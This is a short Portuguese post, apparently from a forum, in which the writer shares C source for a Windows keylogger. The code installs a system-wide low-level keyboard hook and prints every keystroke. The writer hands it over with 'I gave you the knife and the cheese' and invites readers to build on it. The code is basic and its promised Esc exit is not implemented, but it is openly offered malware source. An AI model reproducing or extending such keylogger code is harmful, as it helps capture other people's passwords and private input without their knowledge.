eu estive trabalhando na criação de um keylogger esses dias, o programa foi escrito em C:
#include <stdio.h>
#include <windows.h>
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode == HC_ACTION && (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN)) {
KBDLLHOOKSTRUCT* pKbStruct = (KBDLLHOOKSTRUCT*)lParam;
DWORD key = pKbStruct->vkCode;
printf("Tecla pressionada: %c\n", MapVirtualKey(key, MAPVK_VK_TO_CHAR));
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
int main() {
HHOOK hook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, NULL, 0);
if (hook == NULL) {
printf("Erro ao configurar o hook de teclado\n");
return 1;
}
printf("Monitoramento de teclado ativado. Pressione qualquer tecla (exceto Esc) para sair.\n");
while (1) {
MSG msg;
if (GetMessage(&msg, NULL, 0, 0) && msg.message == WM_QUIT) {
break;
}
}
UnhookWindowsHookEx(hook);
return 0;
}
dei a faca e o queijo, agora é só você implementar da sua forma